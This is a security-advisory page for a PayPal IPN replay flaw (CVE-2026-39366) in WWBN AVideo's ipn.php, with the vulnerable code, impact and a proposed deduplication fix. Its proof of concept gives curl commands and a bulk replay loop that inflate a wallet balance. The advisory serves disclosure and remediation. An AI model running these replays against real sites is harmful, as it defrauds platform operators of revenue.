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GHSA-mmw7-wq3c-wf9p

MEDIUM

GHSA-mmw7-wq3c-wf9p is a medium-severity (CVSS 6.5) CWE-345 vulnerability in wwbn/avideo. O3 Security confirms whether GHSA-mmw7-wq3c-wf9p is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

WWBN AVideo Affected by a PayPal IPN Replay Attack Enabling Wallet Balance Inflation via Missing Transaction Deduplication in ipn.php

Also known asCVE-2026-39366
Published
Apr 8, 2026
Updated
Apr 8, 2026
Affected
1 pkg
Patched
None yet
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk7th percentile0.00%
0.00%0.22%0.45%0.67%0.0%0.0%0.2%0.2%0.2%May 26Jul 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The PayPal IPN v1 handler at plugin/PayPalYPT/ipn.php lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer ipnV2.php and webhook.php handlers correctly deduplicate via PayPalYPT_log entries, but the v1 handler was never updated and remains actively referenced as the notify_url for billing plans.

Details

When a recurring payment IPN arrives at ipn.php, the handler:

  1. Verifies authenticity via PayPalYPT::IPNcheck() (line 16), which sends the POST data to PayPal's cmd=_notify-validate endpoint. PayPal confirms the data is genuine but this verification is stateless — PayPal returns VERIFIED for the same authentic data on every submission.

  2. Looks up the subscription from recurring_payment_id and directly credits the user's wallet (lines 41-53):

// plugin/PayPalYPT/ipn.php lines 41-53
$row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
$users_id = $row['users_id'];
$payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
$payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
if ($walletObject->currency===$payment_currency) {
    $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
    Subscription::renew($users_id, $row['subscriptions_plans_id']);
    $obj->error = false;
}

No txn_id uniqueness check. No PayPalYPT_log entry created. No deduplication of any kind.

Compare with the patched handlers:

  • ipnV2.php (line 50): PayPalYPT::isTokenUsed($_GET['token']) and (line 93): PayPalYPT::isRecurringPaymentIdUsed($_POST["verify_sign"]), with PayPalYPT_log entries saved on success.
  • webhook.php (line 30): PayPalYPT::isTokenUsed($token) with PayPalYPT_log entry saved on success.

The v1 ipn.php is still actively configured as notify_url in PayPalYPT.php at lines 85, 193, and 308:

$notify_url = "{$global['webSiteRootURL']}plugin/PayPalYPT/ipn.php";

PoC

# Prerequisites: A registered AVideo account with at least one completed PayPal subscription.

# Step 1: Complete a legitimate PayPal subscription.
# This generates an IPN notification to ipn.php containing your recurring_payment_id.

# Step 2: Capture the IPN POST body. This is available from:
# - PayPal's IPN History (paypal.com > Settings > IPN History)
# - Network interception during the initial subscription flow

# Step 3: Replay the captured IPN to inflate wallet balance.
# Each replay adds the subscription amount to the attacker's wallet.

# Single replay:
curl -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
  -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'

# Bulk replay (100x = 100x the subscription amount added to wallet):
for i in $(seq 1 100); do
  curl -s -X POST 'https://target.com/plugin/PayPalYPT/ipn.php' \
    -d 'recurring_payment_id=I-XXXXXXXXXX&mc_gross=9.99&mc_currency=USD&payment_status=Completed&txn_type=recurring_payment&verify_sign=REAL_VERIFY_SIGN&[email protected]'
done

# Each request passes IPNcheck() (PayPal confirms the data is authentic),
# then addBalance() credits the wallet and Subscription::renew() extends the subscription.

Impact

  • Unlimited wallet balance inflation: An attacker can replay a single legitimate IPN to add arbitrary multiples of the subscription amount to their wallet balance, enabling free access to all paid content.
  • Unlimited subscription renewals: Each replay also calls Subscription::renew(), indefinitely extending subscription access from a single payment.
  • Financial loss: Platform operators lose revenue as attackers obtain paid services without corresponding payments.

Recommended Fix

Add deduplication to ipn.php consistent with the approach already used in ipnV2.php and webhook.php. Record each processed transaction in PayPalYPT_log and check before processing:

// plugin/PayPalYPT/ipn.php — replace lines 41-57 with:
} else {
    _error_log("PayPalIPN: recurring_payment_id = {$_POST["recurring_payment_id"]} ");

    // Deduplication: check if this IPN was already processed
    $dedup_key = !empty($_POST['txn_id']) ? $_POST['txn_id'] : $_POST['verify_sign'];
    if (PayPalYPT::isRecurringPaymentIdUsed($dedup_key)) {
        _error_log("PayPalIPN: already processed, skipping");
        die(json_encode($obj));
    }

    $subscription = AVideoPlugin::loadPluginIfEnabled("Subscription");
    if (!empty($subscription)) {
        $row = Subscription::getFromAgreement($_POST["recurring_payment_id"]);
        _error_log("PayPalIPN: user found from recurring_payment_id (users_id = {$row['users_id']}) ");
        $users_id = $row['users_id'];
        $payment_amount = empty($_POST['mc_gross']) ? $_POST['amount'] : $_POST['mc_gross'];
        $payment_currency = empty($_POST['mc_currency']) ? $_POST['currency_code'] : $_POST['mc_currency'];
        if ($walletObject->currency===$payment_currency) {
            // Log the transaction for deduplication
            $pp = new PayPalYPT_log(0);
            $pp->setUsers_id($users_id);
            $pp->setRecurring_payment_id($dedup_key);
            $pp->setValue($payment_amount);
            $pp->setJson(['post' => $_POST]);
            if ($pp->save()) {
                $plugin->addBalance($users_id, $payment_amount, "Paypal recurrent", json_encode($_POST));
                Subscription::renew($users_id, $row['subscriptions_plans_id']);
                $obj->error = false;
            }
        } else {
            _error_log("PayPalIPN: FAIL currency check $walletObject->currency===$payment_currency ");
        }
    }
}

Additionally, consider migrating the notify_url references in PayPalYPT.php (lines 85, 193, 308) from ipn.php to ipnV2.php or webhook.php, and eventually deprecating the v1 IPN handler entirely.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versionsNo fix

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Remediation status

    No patched version of wwbn/avideo has shipped for GHSA-mmw7-wq3c-wf9p yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-mmw7-wq3c-wf9p is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-mmw7-wq3c-wf9p. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary The PayPal IPN v1 handler at `plugin/PayPalYPT/ipn.php` lacks transaction deduplication, allowing an attacker to replay a single legitimate IPN notification to repeatedly inflate their wallet balance and renew subscriptions. The newer `ipnV2.php` and `webhook.php` handlers correctly deduplicate via `PayPalYPT_log` entries, but the v1 handler was never updated and remains actively referenced as the `notify_url` for billing plans. ## Details When a recurring payment IPN arrives at `ipn.php`, the handler: 1. Verifies authenticity via `PayPalYPT::IPNcheck()` (line 16), which sends t
O3 Security · Impact-Aware SCA

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